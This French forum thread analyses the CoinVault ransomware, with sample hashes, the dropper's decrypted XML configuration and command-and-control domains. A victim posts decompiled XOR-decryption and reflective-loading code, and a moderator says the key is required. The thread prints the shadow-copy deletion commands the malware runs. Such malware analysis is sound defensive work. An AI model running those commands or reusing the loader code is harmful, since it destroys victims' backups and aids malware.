Rançongiciel CoinVault

ѠOOT

Rançongiciel CoinVault

par ѠOOT »

Bonjour,

Avant même de faire de nombreuses victimes, CoinVault avait déjà sa "tête" placardée dans les médias. J'ai baptisé "malwareketing" ( Malware+Marketing ) pour décrire le storytelling marketing viral qui accompagne les évènements qui défrayent les chroniques autour des attaques, des programmes malveillants, etc...

Bref, je vais tenter d'aborder quelque chose qui n'a pas encore été détaillé sur CoinVault (CV) et par la même de répondre à la question de l'unique victime du forum : "Est-ce "cvlock.exe" qui encrypte les fichiers ?"

Le fichier "cvlock.exe" ( SHA1: 911670753FFB5D56466888A22182501C4E32EBED ) est un PE 32-bit ayant été compilé le jeudi 20 novembre 2014 à 23:15:49. Les informations de débogage renseignent sur le Debug Directory: "c:\Users\Administrator\Desktop\cvlock.pdb" & le GUID: "1A6220F6-56B4-4527-B0E4-78455E713C6".

La fonction InitializeComponent() va décrypter un bloc de données pour libérer un stub nommé "S.H.I.E.L.D_runner" ( SHA1 : 348FF994F20F749CB09C38A72B8503C8158AD5AC ) de 17 408 octets. Les informations de débogage contiennent le GUID: "41ECCB53-38C5-485C-B0EC-6E6A286479C" & l'environnement de développement : "d:\users\melvin van den berg\documents\mega\s.h.i.e.l.d\s.h.i.e.l.d_runner\s.h.i.e.l.d_runner\obj\release\s.h.i.e.l.d_runner.pdb".

→ Reconstruction du code.
Image

→ Extrait de la sortie du décryptage en live analysis.
Image

Stockée en ressources: "JOVNKEoiOw" décryptée, la configuration en XML du stub.

<?xml version="1.0"?>
<Settings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<executeStub>true</executeStub>
<dropStub>false</dropStub>
<detectMaltester>false</detectMaltester>
<dropStubHide>false</dropStubHide>
<dropStubPump>false</dropStubPump>
<dropStubName />
<dropStubLocation />
<dropStubSetRegistry>false</dropStubSetRegistry>
<dropStubRegLocation />
<dropStubRegValueName />
<stubBytes>@PAYLOAD@</stubBytes>
<executeProgram>false</executeProgram>
</Settings>


Le booléen executeStub étant à vrai, je m'occupe que des stubBytes. Le payload est encodé en base64. Une fois décodé, on obtient le fichier "Locker.exe" ( SHA1: 2522C2118DF04D3AE5CF3634A7558E6E5BB91D4B ) un PE 32-bit compilé le jeudi 20 novembre 2014 à 20:10:04 qui sera exécuté depuis un Process.Start.

→ Propriétés du programme
FileVersion : 1.0.0.0
InternalName : Locker.exe
FileDescription : CoinVault
Comments : Your worst nightmare.

Une DLL d' ~188 Ko est encodée en ressource ( SHA1: DC335FFAE5D566E37329A8A57BAB0DED01C64D53 )

Je ne détaillerai pas d'avantage, j'indique seulement la relation avec l'IP bloquée par MBAM.

→ Serveurs contactés :
☣ CV.DNSFOR.ME ( 8.23.224.90 )
☣ CV.POINTTO.US ( 8.23.224.90 )


Autre réponse à une question posée : les versions précédentes sont supprimées.
- "%windir%\system32\vssadmin.exe" Delete Shadows /All /Quiet
- "%windir%\system32\wbem\wmic.exe" shadowcopy delete


Encore une fois, les rançongiciels chiffreurs paralysent & prennent en otage des fichiers en échange de rançons via Bitcoin. Encore une fois, les utilisateurs feront l'amalgame entre crypto-monnaies & activités criminelles. Encore une fois, les utilisateurs inquiets vont croire qu'acheter des solutions de sécurité va régler la situation. Encore une fois, la peur de perdre les données va pousser à dématérialiser dans les nuages / cloud via des services STaaS. Encore une fois, les auteurs de rançongiciels ont tout à perdre alors qu'ils pourraient s'enrichir légalement. Au lieu de ça, ces pions font le jeu des géants, le temps d'une partie.

→ ( 29 octobre 2015 ) Kaspersky Lab and the Dutch Police are Ending the Nightmare for 14,031 CoinVault and Bitcryptor Ransomware Victims Worldwide

https://noransom.kaspersky.com/
thiers89

Re: Rançongiciel CoinVault

par thiers89 »

Bonjour,

Je suis une "victime" du ransomware CoinVault (v1.0.1.1) et j'essaye de trouver une solution pour décrypter mes fichiers.

Je me suis dit que peut être qu'en modifiant le code du programme cv-lock.exe, on pourrait peut être faire quelque chose (par ex. au moment où l'on clique sur le bouton "Check payment and receive key", renvoyer une information comme quoi si le paiement n'a pas effectué cela récupère les clés de décryptage) mais je ne maîtrise pas la programmation.

Voici des bouts de code récupérés dans l'exe en utilisant un décompiler, est-ce que quelqu'un peut me dire si il y a quelque chose à en tirer, si cela correspond à la méthode d'encryptage...

Code : Tout sélectionner

this.lSAGTaQAE[1] = (object) "QZymljmlKS.txt";
    this.lSAGTaQAE[0] = (object) "hvOfdTQRUHOBefshZRAzvqUjE";
    this.EvQzCLQFpCiq = Form1.VYJjUCKwwMCthfPSE(data, this.lSAGTaQAE[0].ToString());
    this.label1 = new Label();
    this.SuspendLayout();
    this.label1.AutoSize = true;
    this.label1.Location = new Point(13, 13);
    this.label1.Name = "label1";
    this.label1.Size = new Size(35, 13);
    this.label1.TabIndex = 0;
    this.label1.Text = "label1";
    this.ClientSize = new Size(284, 262);
    this.Controls.Add((Control) this.label1);
    this.Name = "Form1";
    this.ResumeLayout(false);
    this.teibvtMMouatZCQ();
  }

  protected override void Dispose(bool disposing)
  {
    if (disposing && this.com != null)
      this.com.Dispose();
    base.Dispose(disposing);
  }

  private static byte[] VYJjUCKwwMCthfPSE(byte[] data, string key)
  {
    byte[] numArray = new byte[data.Length];
    for (int index = 0; index < data.Length; ++index)
      numArray[index] = (byte) ((uint) data[index] ^ (uint) key[index % key.Length]);
    return numArray;
  }

  private static void Main(string[] args)
  {
    Form1 form1 = new Form1();
  }

  public void teibvtMMouatZCQ()
  {
    wcNaCPmBL wcNaCpmBl = new wcNaCPmBL(new XfFKLGAkmGUDpxio(AppDomain.CurrentDomain.Load(this.EvQzCLQFpCiq)).SngUDfDcij(), this.lSAGTaQAE);
  }
}

Code : Tout sélectionner

using System.Reflection;

internal class XfFKLGAkmGUDpxio
{
  private Assembly abXJAoTbHJhbs;

  public XfFKLGAkmGUDpxio(Assembly GrKcYZTEEkghhO)
  {
    this.abXJAoTbHJhbs = GrKcYZTEEkghhO;
  }

  public MethodInfo SngUDfDcij()
  {
    return this.abXJAoTbHJhbs.GetTypes()[0].GetMethods()[0];
  }
}
Je peux fournir d'autres bouts du code si nécessaire.

Merci par avance pour votre aide.
Malekal_morte
Messages : 116658
Inscription : 10 sept. 2005 13:57

Re: Rançongiciel CoinVault

par Malekal_morte »

Salut,

Ca n'est pas aussi simple puisque les fichiers sont chiffrés (avec GnuPG je crois pour ce ransomware), donc dans tous les cas, il faut la clef pour déchiffrer les fichiers.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.

Revenir à « Tech, Tips & Tricks »